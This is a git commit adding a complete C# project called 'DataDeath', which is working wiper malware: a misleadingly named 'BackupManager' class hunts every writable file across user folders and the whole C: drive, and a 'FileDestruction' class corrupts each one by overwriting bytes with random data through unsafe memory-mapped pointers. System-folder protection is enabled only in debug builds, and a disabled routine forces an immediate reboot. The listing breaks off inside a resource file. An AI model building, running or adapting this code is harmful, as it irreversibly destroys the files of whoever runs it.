Initial commit

This commit is contained in:
0% [█ █ █ █ █ █ █ █ █ █] 100% 2026-06-02 12:58:36 -05:00
parent fe3cc78309
commit 62e6a527db
12 changed files with 1115 additions and 1 deletions

9
DataDeath.slnx Normal file
View File

@ -0,0 +1,9 @@
<Solution>
<Configurations>
<Platform Name="Any CPU" />
<Platform Name="x64" />
</Configurations>
<Project Path="DataDeath/DataDeath.csproj">
<Platform Solution="*|x64" Project="x64" />
</Project>
</Solution>

6
DataDeath/App.config Normal file
View File

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6.1"/>
</startup>
</configuration>

275
DataDeath/BackupManager.cs Normal file
View File

@ -0,0 +1,275 @@
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
namespace DataDeath
{
public class ScanProgressEventArgs : EventArgs
{
public int FilesFound { get; set; }
public long TotalBytesFound { get; set; }
public string CurrentDirectory { get; set; }
public string ScanPhase { get; set; }
}
public class BackupManager
{
private ConcurrentDictionary<string, byte> _scannedDirectories;
private int _currentFileCount;
private long _currentTotalBytes;
public List<string> PriorityFolders { get; set; }
public TimeSpan ScanDuration { get; private set; }
public int TotalFilesFound => _currentFileCount;
public long TotalBytesFound => Interlocked.Read(ref _currentTotalBytes);
// --- NEW SWITCH ---
/// <summary>
/// If true, skips Windows, Program Files, ProgramData, and AppData.
/// </summary>
public bool AvoidSystemFolders { get; set; } = false;
public event EventHandler<ScanProgressEventArgs> OnProgress;
public BackupManager()
{
InitializeDefaultPriorities();
}
private void InitializeDefaultPriorities()
{
PriorityFolders = new List<string>();
string userProfile = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
PriorityFolders.Add(Path.Combine(userProfile, "Documents"));
PriorityFolders.Add(Path.Combine(userProfile, "Desktop"));
PriorityFolders.Add(Path.Combine(userProfile, "Downloads"));
PriorityFolders.Add(Path.Combine(userProfile, "Pictures"));
PriorityFolders.Add(Path.Combine(userProfile, "Videos"));
PriorityFolders.Add(Path.Combine(userProfile, "Music"));
// These will be added to the list, but filtered out at runtime if the switch is active
PriorityFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
PriorityFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));
PriorityFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles));
PriorityFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86));
PriorityFolders.Add("C:\\");
}
public void AddPriorityDirectory(string path)
{
if (!PriorityFolders.Contains(path) && Directory.Exists(path))
{
PriorityFolders.Add(path);
}
}
// Helper to generate the blacklist based on the switch
private HashSet<string> GetSystemExclusions()
{
var exclusions = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
if (!AvoidSystemFolders) return exclusions; // Return empty if switch is off
// Critical System Roots
exclusions.Add(Environment.GetFolderPath(Environment.SpecialFolder.Windows));
exclusions.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles));
exclusions.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86));
// ProgramData (Hidden folder for system-wide app data)
exclusions.Add(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData));
// AppData (User specific configs - safe to skip if preserving OS integrity)
exclusions.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); // Roaming
exclusions.Add(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)); // Local
return exclusions;
}
public void DiscoverFiles(BlockingCollection<string> fileQueue)
{
Stopwatch sw = Stopwatch.StartNew();
_scannedDirectories = new ConcurrentDictionary<string, byte>();
_currentFileCount = 0;
_currentTotalBytes = 0;
// 1. Generate the exclusion list
HashSet<string> systemExclusions = GetSystemExclusions();
foreach (var folder in PriorityFolders)
{
if (!Directory.Exists(folder)) continue;
// 2. Check if this priority folder is a System Folder
if (IsExcluded(folder, systemExclusions)) continue;
string pathRoot = Path.GetPathRoot(folder);
bool isRoot = string.Equals(folder.TrimEnd('\\'), pathRoot.TrimEnd('\\'), StringComparison.OrdinalIgnoreCase);
if (isRoot)
{
// Special handling for C:\ root to avoid scanning Windows/Program Files immediately
ScanDirectoryFilesOnly(folder, fileQueue, "Priority - Root");
}
else
{
_scannedDirectories.TryAdd(folder.ToLower(), 0);
ScanDirectoryRecursiveParallel(folder, fileQueue, "Priority - High Value", systemExclusions);
}
}
string systemRoot = Path.GetPathRoot(Environment.SystemDirectory);
List<string> rootDirs = GetDirectoriesSafe(systemRoot);
Parallel.ForEach(rootDirs, (dir) =>
{
// 3. Check if the root directory (e.g., C:\Windows) is in the blacklist
if (!IsExcluded(dir, systemExclusions))
{
ScanDirectoryRecursiveParallelWithExclusion(dir, fileQueue, "General - Full Scan", systemExclusions);
}
});
bool rootWasInPriority = PriorityFolders.Any(p => string.Equals(p.TrimEnd('\\'), systemRoot.TrimEnd('\\'), StringComparison.OrdinalIgnoreCase));
// Only scan root files (C:\*.txt) if the user didn't explicitly prioritize C:\
// And if we are excluding system folders, we usually still allow scanning files sitting loosely in C:\
if (!rootWasInPriority)
{
ScanDirectoryFilesOnly(systemRoot, fileQueue, "General - Root Files");
}
sw.Stop();
ScanDuration = sw.Elapsed;
}
private bool IsExcluded(string path, HashSet<string> exclusions)
{
if (exclusions.Count == 0) return false;
// Check exact match or if the path is a subdirectory of an exclusion
// Note: Since we are scanning from the top down, checking the current folder against the hashset is usually sufficient
// for the top-level exclusions.
return exclusions.Contains(path);
}
private bool HasWriteAccess(string filePath, FileInfo fi)
{
bool wasReadOnly = false;
try
{
if (fi.IsReadOnly)
{
fi.IsReadOnly = false;
wasReadOnly = true;
}
// Attempt to open the file for writing to verify permissions and lock status
using (var fs = new FileStream(filePath, FileMode.Open, FileAccess.Write, FileShare.ReadWrite))
{
return true;
}
}
catch
{
// If we couldn't write, try to restore the attribute if we changed it
if (wasReadOnly)
{
try { fi.IsReadOnly = true; } catch { }
}
return false;
}
}
private void ScanDirectoryFilesOnly(string path, BlockingCollection<string> targetCollection, string phaseName)
{
try
{
ReportProgress(path, phaseName);
foreach (var file in Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly))
{
try
{
FileInfo fi = new FileInfo(file);
// Only queue the file if we actually have write access to it
if (HasWriteAccess(file, fi))
{
targetCollection.Add(file); // Push directly to the consumer pipeline
long newCount = Interlocked.Increment(ref _currentFileCount);
Interlocked.Add(ref _currentTotalBytes, fi.Length);
if (newCount % 100 == 0) ReportProgress(path, phaseName);
}
}
catch { }
}
}
catch (UnauthorizedAccessException) { }
catch (IOException) { }
}
private void ScanDirectoryRecursiveParallel(string rootPath, BlockingCollection<string> targetCollection, string phaseName, HashSet<string> exclusions = null)
{
// If we somehow descended into a blacklisted folder, stop.
if (exclusions != null && exclusions.Contains(rootPath)) return;
_scannedDirectories.TryAdd(rootPath.ToLower(), 0);
ScanDirectoryFilesOnly(rootPath, targetCollection, phaseName);
List<string> subDirs = GetDirectoriesSafe(rootPath);
Parallel.ForEach(subDirs, (dir) =>
{
// Check exclusions before recursing
if (exclusions == null || !exclusions.Contains(dir))
{
ScanDirectoryRecursiveParallel(dir, targetCollection, phaseName, exclusions);
}
});
}
private void ScanDirectoryRecursiveParallelWithExclusion(string rootPath, BlockingCollection<string> targetCollection, string phaseName, HashSet<string> exclusions = null)
{
string lowerPath = rootPath.ToLower();
if (_scannedDirectories.ContainsKey(lowerPath)) return;
// Safety check
if (exclusions != null && exclusions.Contains(rootPath)) return;
_scannedDirectories.TryAdd(lowerPath, 0);
ScanDirectoryFilesOnly(rootPath, targetCollection, phaseName);
List<string> subDirs = GetDirectoriesSafe(rootPath);
Parallel.ForEach(subDirs, (dir) =>
{
// Check exclusions before recursing
if (exclusions == null || !exclusions.Contains(dir))
{
ScanDirectoryRecursiveParallelWithExclusion(dir, targetCollection, phaseName, exclusions);
}
});
}
private List<string> GetDirectoriesSafe(string path)
{
try { return Directory.EnumerateDirectories(path, "*", SearchOption.TopDirectoryOnly).ToList(); }
catch { return new List<string>(); }
}
private void ReportProgress(string currentDir, string phase)
{
OnProgress?.Invoke(this, new ScanProgressEventArgs
{
FilesFound = _currentFileCount,
TotalBytesFound = Interlocked.Read(ref _currentTotalBytes),
CurrentDirectory = currentDir,
ScanPhase = phase
});
}
}
}

103
DataDeath/DataDeath.csproj Normal file
View File

@ -0,0 +1,103 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{DD6531D7-CED1-4DF1-BC08-13EC2BCA096D}</ProjectGuid>
<OutputType>Exe</OutputType>
<RootNamespace>DataDeath</RootNamespace>
<AssemblyName>DataDeath</AssemblyName>
<TargetFrameworkVersion>v4.6.1</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
<Deterministic>true</Deterministic>
<TargetFrameworkProfile />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup>
<StartupObject />
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'">
<DebugSymbols>true</DebugSymbols>
<OutputPath>bin\x64\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<DebugType>full</DebugType>
<PlatformTarget>x64</PlatformTarget>
<LangVersion>7.3</LangVersion>
<ErrorReport>prompt</ErrorReport>
<Prefer32Bit>true</Prefer32Bit>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x64'">
<OutputPath>bin\x64\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<Optimize>true</Optimize>
<DebugType>pdbonly</DebugType>
<PlatformTarget>x64</PlatformTarget>
<LangVersion>7.3</LangVersion>
<ErrorReport>prompt</ErrorReport>
<Prefer32Bit>true</Prefer32Bit>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Deployment" />
<Reference Include="System.Drawing" />
<Reference Include="System.Net.Http" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="BackupManager.cs" />
<Compile Include="FileDestruction.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
<SubType>Designer</SubType>
</EmbeddedResource>
<Compile Include="Properties\Resources.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Resources.resx</DependentUpon>
<DesignTime>True</DesignTime>
</Compile>
<None Include="Properties\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
</None>
<Compile Include="Properties\Settings.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
</ItemGroup>
<ItemGroup>
<None Include="App.config" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -0,0 +1,201 @@
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.IO.MemoryMappedFiles;
using System.Threading;
using System.Threading.Tasks;
namespace DataDeath
{
public class DestructionProgressEventArgs : EventArgs
{
public long TotalFiles { get; set; }
public long FilesCompleted { get; set; }
public long FilesFailed { get; set; }
public long TotalBytes { get; set; }
public long BytesCompleted { get; set; }
public long BytesFailed { get; set; }
public string CurrentFile { get; set; }
public long CurrentFileBytesProcessed { get; set; }
public long CurrentFileTotalBytes { get; set; }
}
public class DestructionResult
{
public long FilesCompleted { get; private set; }
public long BytesCompleted { get; private set; }
public long FilesFailed { get; private set; }
public long BytesFailed { get; private set; }
public DestructionResult(long filesCompleted, long bytesCompleted, long filesFailed, long bytesFailed)
{
FilesCompleted = filesCompleted;
BytesCompleted = bytesCompleted;
FilesFailed = filesFailed;
BytesFailed = bytesFailed;
}
}
public class FileDestruction
{
public static event EventHandler<DestructionProgressEventArgs> OnProgress;
private const int BufferSize = 1024 * 1024; // 1MB buffer
private static readonly byte[] _sharedRandomBuffer;
static FileDestruction()
{
// Pre-generate a single random buffer to eliminate CPU overhead during destruction.
_sharedRandomBuffer = new byte[BufferSize];
new Random().NextBytes(_sharedRandomBuffer);
}
public static async Task<DestructionResult> MangleFilesAsync(BlockingCollection<string> fileQueue, BackupManager manager)
{
var cts = new CancellationTokenSource();
long completedFiles = 0;
long failedFiles = 0;
long completedBytes = 0;
long failedBytes = 0;
// I/O bound operations can benefit from higher parallelism than just CPU cores.
// This ensures we saturate the disk queue while waiting for seeks/writes.
int maxDegreeOfParallelism = Math.Max(4, Environment.ProcessorCount * 2);
var consumerTasks = new List<Task>();
for (int i = 0; i < maxDegreeOfParallelism; i++)
{
consumerTasks.Add(Task.Run(() =>
{
// GetConsumingEnumerable blocks and waits for files to arrive from the scanner
foreach (var filePath in fileQueue.GetConsumingEnumerable(cts.Token))
{
ProcessFileSync(filePath, cts.Token, manager, ref completedFiles, ref completedBytes, ref failedFiles, ref failedBytes);
}
}));
}
await Task.WhenAll(consumerTasks);
cts.Dispose();
return new DestructionResult(completedFiles, completedBytes, failedFiles, failedBytes);
}
private static void ProcessFileSync(string filePath, CancellationToken cancellationToken, BackupManager manager, ref long completedFiles, ref long completedBytes, ref long failedFiles, ref long failedBytes)
{
long currentFileBytesProcessed = 0;
long currentFileTotalBytes = 0;
var lastReportTime = Stopwatch.StartNew();
try
{
FileInfo fi = new FileInfo(filePath);
// Remove ReadOnly attribute if present, otherwise MemoryMappedFile will throw an UnauthorizedAccessException
if (fi.IsReadOnly)
{
fi.IsReadOnly = false;
}
currentFileTotalBytes = fi.Length;
if (currentFileTotalBytes > 0)
{
// Process in 100MB chunks to prevent OutOfMemoryExceptions on massive files in 32-bit processes
long chunkSize = 100 * 1024 * 1024;
int bufferIndex = 0;
using (var mmf = MemoryMappedFile.CreateFromFile(filePath, FileMode.Open, null, 0, MemoryMappedFileAccess.ReadWrite))
{
for (long offset = 0; offset < currentFileTotalBytes; offset += chunkSize)
{
long currentChunkSize = Math.Min(chunkSize, currentFileTotalBytes - offset);
using (var accessor = mmf.CreateViewAccessor(offset, currentChunkSize, MemoryMappedFileAccess.Write))
{
unsafe
{
byte* ptr = null;
try
{
// Acquire the raw memory pointer to bypass the massive CPU overhead of accessor.Write()
accessor.SafeMemoryMappedViewHandle.AcquirePointer(ref ptr);
// The view might not start exactly at the requested offset due to system page alignment,
// so we must add the PointerOffset to get to our actual data.
byte* dataPtr = ptr + accessor.PointerOffset;
for (long i = 0; i < currentChunkSize; i += 2)
{
cancellationToken.ThrowIfCancellationRequested();
// Write a single byte directly to virtual memory, skipping the next
dataPtr[i] = _sharedRandomBuffer[bufferIndex];
// Advance our random buffer index
bufferIndex += 2;
if (bufferIndex >= BufferSize)
{
bufferIndex = 0;
}
// Only check the stopwatch every 65,536 bytes to save massive CPU overhead
if ((i & 0xFFFF) == 0 && lastReportTime.ElapsedMilliseconds > 100)
{
currentFileBytesProcessed = offset + i + 1;
ReportCurrentProgress(filePath, currentFileBytesProcessed, currentFileTotalBytes, manager, ref completedFiles, ref completedBytes, ref failedFiles, ref failedBytes);
lastReportTime.Restart();
}
}
}
finally
{
if (ptr != null)
{
accessor.SafeMemoryMappedViewHandle.ReleasePointer();
}
}
}
}
}
}
currentFileBytesProcessed = currentFileTotalBytes;
}
Interlocked.Increment(ref completedFiles);
Interlocked.Add(ref completedBytes, currentFileTotalBytes);
}
catch (Exception)
{
long fileSize = 0;
try { fileSize = new FileInfo(filePath).Length; } catch { /* Ignore */ }
Interlocked.Increment(ref failedFiles);
Interlocked.Add(ref failedBytes, fileSize);
}
finally
{
// Ensure final progress is reported for this file
ReportCurrentProgress(filePath, currentFileBytesProcessed, currentFileTotalBytes, manager, ref completedFiles, ref completedBytes, ref failedFiles, ref failedBytes);
}
}
private static void ReportCurrentProgress(string file, long processedInFile, long totalInFile, BackupManager manager, ref long completedFiles, ref long completedBytes, ref long failedFiles, ref long failedBytes)
{
OnProgress?.Invoke(null, new DestructionProgressEventArgs
{
TotalFiles = manager.TotalFilesFound,
FilesCompleted = Interlocked.Read(ref completedFiles),
FilesFailed = Interlocked.Read(ref failedFiles),
TotalBytes = manager.TotalBytesFound,
BytesCompleted = Interlocked.Read(ref completedBytes),
BytesFailed = Interlocked.Read(ref failedBytes),
CurrentFile = file,
CurrentFileBytesProcessed = processedInFile,
CurrentFileTotalBytes = totalInFile
});
}
}
}

152
DataDeath/Program.cs Normal file
View File

@ -0,0 +1,152 @@
using System;
using System.Collections.Concurrent;
using System.Diagnostics;
using System.Threading.Tasks;
namespace DataDeath
{
class Program
{
static readonly object _consoleLock = new object();
static async Task Main(string[] args)
{
// Start tracking total execution time
Stopwatch totalTimer = Stopwatch.StartNew();
BackupManager manager = new BackupManager();
manager.OnProgress += (sender, e) =>
{
lock (_consoleLock)
{
// Scan progress stays at the very top (Lines 0-3)
Console.SetCursorPosition(0, 0);
int width = Console.WindowWidth - 1;
Console.WriteLine($"Scan Status: {e.ScanPhase}".PadRight(width));
Console.WriteLine($"Files Found: {e.FilesFound:N0}".PadRight(width));
Console.WriteLine($"Size Found: {BytesToReadable(e.TotalBytesFound)}".PadRight(width));
string displayDir = e.CurrentDirectory;
if (displayDir.Length > Console.WindowWidth - 15)
displayDir = "..." + displayDir.Substring(displayDir.Length - (Console.WindowWidth - 18));
Console.WriteLine($"Scanning: {displayDir}".PadRight(width));
// Draw a separator between Scan and Destruction sections
Console.WriteLine(new string('=', width));
}
};
FileDestruction.OnProgress += (sender, e) =>
{
lock (_consoleLock)
{
// Destruction progress starts below the scan progress (Line 5)
Console.SetCursorPosition(0, 5);
int width = Console.WindowWidth - 1;
Console.WriteLine("Dest Status: DESTROYING FILES".PadRight(width));
string displayFile = e.CurrentFile;
if (displayFile.Length > Console.WindowWidth - 15)
displayFile = "..." + displayFile.Substring(displayFile.Length - (Console.WindowWidth - 18));
Console.WriteLine($"Working On: {displayFile}".PadRight(width));
double filePerc = e.CurrentFileTotalBytes == 0 ? 1.0 : (double)e.CurrentFileBytesProcessed / e.CurrentFileTotalBytes;
int barWidth = width - 25;
if (barWidth < 10) barWidth = 10; // Safety fallback for very narrow consoles
int progressChars = (int)(filePerc * barWidth);
string bar = $"[{new string('#', progressChars)}{new string('-', barWidth - progressChars)}] {filePerc:P1}";
Console.WriteLine($"File Prog: {bar}".PadRight(width));
Console.WriteLine(new string('-', width));
long totalProcessedCount = e.FilesCompleted + e.FilesFailed;
long filesRemaining = e.TotalFiles - totalProcessedCount;
Console.WriteLine($"SUCCESS: {e.FilesCompleted:N0} files ({BytesToReadable(e.BytesCompleted)})".PadRight(width));
Console.WriteLine($"FAILED: {e.FilesFailed:N0} files ({BytesToReadable(e.BytesFailed)})".PadRight(width));
Console.WriteLine($"REMAINING: {filesRemaining:N0} files".PadRight(width));
Console.WriteLine(new string('-', width));
double overallPerc = e.TotalFiles == 0 ? 1.0 : (double)totalProcessedCount / e.TotalFiles;
Console.WriteLine($"OVERALL: {totalProcessedCount:N0} / {e.TotalFiles:N0} processed {overallPerc:P1}".PadRight(width));
}
};
Console.CursorVisible = false;
Console.Clear();
Console.WriteLine("Starting Destruction!");
// This line can be disabled in prod.
// It subtracts some extra time to the scanning phase, but it ensures that system folders are not included in the destruction process.
#if DEBUG
manager.AvoidSystemFolders = true;
#endif
// Bounded collection prevents memory issues if scanning is much faster than destruction
using (BlockingCollection<string> fileQueue = new BlockingCollection<string>(50000))
{
// Start the scanning process on a background thread
Task scanTask = Task.Run(() =>
{
manager.DiscoverFiles(fileQueue);
fileQueue.CompleteAdding(); // Signal that no more files will be added
});
// Start the destruction process concurrently, feeding off the queue
Task<DestructionResult> destroyTask = FileDestruction.MangleFilesAsync(fileQueue, manager);
// Wait for both to finish
await Task.WhenAll(scanTask, destroyTask);
// Stop the timer once all tasks are complete
totalTimer.Stop();
var destructionResult = destroyTask.Result;
lock (_consoleLock)
{
// Output the final summary below all the live-updating text (Line 16)
Console.SetCursorPosition(0, 16);
Console.WriteLine(new string('=', 30));
Console.WriteLine("DESTRUCTION COMPLETE");
Console.WriteLine($"Total Time: {totalTimer.Elapsed:hh\\:mm\\:ss}");
Console.WriteLine($"Successful: {destructionResult.FilesCompleted:N0} files ({BytesToReadable(destructionResult.BytesCompleted)})");
Console.WriteLine($"Failed: {destructionResult.FilesFailed:N0} files ({BytesToReadable(destructionResult.BytesFailed)})");
Console.WriteLine(new string('=', 30));
Console.CursorVisible = true;
}
}
//Reboot();
Console.ReadLine();
}
public static void Reboot()
{
// Restart with 0 seconds delay
ProcessStartInfo inf = new ProcessStartInfo
{
FileName = "shutdown.exe",
Arguments = "/f /r /t 0",
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
};
Process.Start(inf).WaitForExit();
}
static string BytesToReadable(long bytes)
{
string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" };
if (bytes == 0)
return "0 " + suf[0];
long absoluteBytes = Math.Abs(bytes);
int place = Convert.ToInt32(Math.Floor(Math.Log(absoluteBytes, 1024)));
double num = Math.Round(absoluteBytes / Math.Pow(1024, place), 2);
return $"{Math.Sign(bytes) * num:N2} {suf[place]}";
}
}
}

View File

@ -0,0 +1,33 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("DataDeath")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("DataDeath")]
[assembly: AssemblyCopyright("Copyright © 2026")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("dd6531d7-ced1-4df1-bc08-13ec2bca096d")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

View File

@ -0,0 +1,63 @@
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace DataDeath.Properties {
using System;
/// <summary>
/// A strongly-typed resource class, for looking up localized strings, etc.
/// </summary>
// This class was auto-generated by the StronglyTypedResourceBuilder
// class via a tool like ResGen or Visual Studio.
// To add or remove a member, edit your .ResX file then rerun ResGen
// with the /str option, or rebuild your VS project.
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "18.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
/// <summary>
/// Returns the cached ResourceManager instance used by this class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("DataDeath.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
/// <summary>
/// Overrides the current thread's CurrentUICulture property for all
/// resource lookups using this strongly typed resource class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
}
}

View File

@ -0,0 +1,117 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
